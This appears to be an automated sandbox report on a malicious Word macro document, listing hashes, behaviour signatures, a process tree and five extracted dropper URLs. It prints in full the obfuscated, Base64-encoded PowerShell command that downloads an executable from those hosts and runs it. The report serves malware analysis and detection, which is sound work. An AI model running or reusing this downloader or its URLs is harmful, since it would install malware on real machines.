Analysis

  • max time kernel
    118s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    01-02-2022 03:05

General

  • Target

    e9101d348f50f967bb46bf2d2021dc4374ac30eeed17cecaf65382647fdc865c.doc

  • Size

    152KB

  • MD5

    7966ac088ceb397fc6e7a713cc213b0d

  • SHA1

    7e95fd3b246b3f889a70a409823407563427592f

  • SHA256

    e9101d348f50f967bb46bf2d2021dc4374ac30eeed17cecaf65382647fdc865c

  • SHA512

    0d38ffcee92abe0082e87cd30fec81b2a608b18571c8f28eda79afd770987b5e5d2ced42921e98839fc891c94546a744f88fd5b628fb28464fea13a531977e3c

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://wsme.net/cgi-bin/xH/

exe.dropper

http://justart.ma/wp-content/uploads/2019/01/Ti/

exe.dropper

http://majorpart.co.th/wp/qI/

exe.dropper

http://estudioalabi.com.ar/wp-admin/NvvP/

exe.dropper

http://marketinsight.hu/wp-includes/ly/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e9101d348f50f967bb46bf2d2021dc4374ac30eeed17cecaf65382647fdc865c.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1552
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:460
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e JABKADEAQQBrAHcAMQA9ACgAJwBaAHgAQQAnACsAJwBCAEEAJwArACcAQQAnACkAOwAkAGkAXwB3AGsAWgB4AGMAPQAuACgAJwBuAGUAJwArACcAdwAtAG8AYgAnACsAJwBqAGUAYwAnACsAJwB0ACcAKQAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHAAQQBBADQAQQBBAEEAQQA9ACgAJwBoACcAKwAnAHQAJwArACcAdABwADoALwAnACsAJwAvAHcAcwBtAGUALgBuAGUAdAAvAGMAZwBpAC0AYgBpACcAKwAnAG4AJwArACcALwB4AEgALwBAAGgAJwArACcAdAB0ACcAKwAnAHAAOgAnACsAJwAvAC8AagB1AHMAdABhAHIAJwArACcAdAAuAG0AYQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQAJwArACcALwAnACsAJwB1AHAAbABvAGEAZABzAC8AMgAnACsAJwAwADEAJwArACcAOQAvADAAMQAnACsAJwAvAFQAaQAvAEAAaAB0AHQAcAA6AC8AJwArACcALwBtAGEAagBvAHIAcABhAHIAdAAuAGMAbwAuAHQAaAAvACcAKwAnAHcAcAAvAHEASQAvAEAAJwArACcAaAB0AHQAcAAnACsAJwA6AC8AJwArACcALwBlAHMAdAB1AGQAaQBvAGEAJwArACcAbABhACcAKwAnAGIAaQAuAGMAbwBtAC4AYQByAC8AdwBwACcAKwAnAC0AYQBkAG0AaQBuAC8ATgB2AHYAUAAvACcAKwAnAEAAaAB0ACcAKwAnAHQAcAA6AC8ALwAnACsAJwBtAGEAcgBrAGUAdABpAG4AcwBpAGcAaAB0AC4AaAB1ACcAKwAnAC8AdwBwAC0AaQAnACsAJwBuACcAKwAnAGMAbAB1AGQAZQBzAC8AbAB5AC8AJwApAC4AKAAnAFMAcAAnACsAJwBsAGkAdAAnACkALgBJAG4AdgBvAGsAZQAoACcAQAAnACkAOwAkAFEAawBBAEEAVQBBAGsAQQA9ACgAJwBUAFUAVQAnACsAJwBBAEEAJwArACcARwAnACkAOwAkAFkAVQBBAEcAUQBBAFoAUQAgAD0AIAAoACcAOAAnACsAJwAwADIAJwApADsAJAB3AEcAVQBVAFEAQQB3AGMAPQAoACcAdQAnACsAJwBDAEEAQQAnACsAJwBvAEQARAAnACkAOwAkAGIANABEAEIAXwBfAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABZAFUAQQBHAFEAQQBaAFEAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABJAEIARwBYAEEAVQBCACAAaQBuACAAJABwAEEAQQA0AEEAQQBBAEEAKQB7AHQAcgB5AHsAJABpAF8AdwBrAFoAeABjAC4AKAAnAEQAbwB3ACcAKwAnAG4AbABvACcAKwAnAGEAZAAnACsAJwBGAGkAbABlACcAKQAuAEkAbgB2AG8AawBlACgAJABJAEIARwBYAEEAVQBCACwAIAAkAGIANABEAEIAXwBfACkAOwAkAFoAeABYAGsAQwBYAEMAPQAoACcAQwBCADQAUQBRACcAKwAnAEMAJwArACcAUQB3ACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABiADQARABCAF8AXwApAC4AIgBsAGAAZQBOAGcAYABUAGgAIgAgAC0AZwBlACAANAAwADAAMAAwACkAIAB7ACYAKAAnAEkAbgB2AG8AJwArACcAawAnACsAJwBlAC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAGIANABEAEIAXwBfADsAJAB6AEIAWgBBAEEAQQAxAEQAPQAoACcAYQBBACcAKwAnAEEAbwBBAEcAQQBBACcAKQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAewB9AH0AJABLAEIANABEAEEAQQBjAD0AKAAnAFkAJwArACcAawBBAFgAQQBCAEMAJwApADsA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1656

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/460-59-0x000007FEFC281000-0x000007FEFC283000-memory.dmp

      Filesize

      8KB

    • memory/1552-68-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1552-56-0x00000000708A1000-0x00000000708A3000-memory.dmp

      Filesize

      8KB

    • memory/1552-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1552-58-0x0000000075B11000-0x0000000075B13000-memory.dmp

      Filesize

      8KB

    • memory/1552-60-0x0000000005D40000-0x000000000698A000-memory.dmp

      Filesize

      12.3MB

    • memory/1552-55-0x0000000072E21000-0x0000000072E24000-memory.dmp

      Filesize

      12KB

    • memory/1656-63-0x0000000002860000-0x0000000002862000-memory.dmp

      Filesize

      8KB

    • memory/1656-65-0x0000000002864000-0x0000000002867000-memory.dmp

      Filesize

      12KB

    • memory/1656-62-0x000007FEF3490000-0x000007FEF3FED000-memory.dmp

      Filesize

      11.4MB

    • memory/1656-66-0x000000001B750000-0x000000001BA4F000-memory.dmp

      Filesize

      3.0MB

    • memory/1656-67-0x000000000286B000-0x000000000288A000-memory.dmp

      Filesize

      124KB

    • memory/1656-64-0x0000000002862000-0x0000000002864000-memory.dmp

      Filesize

      8KB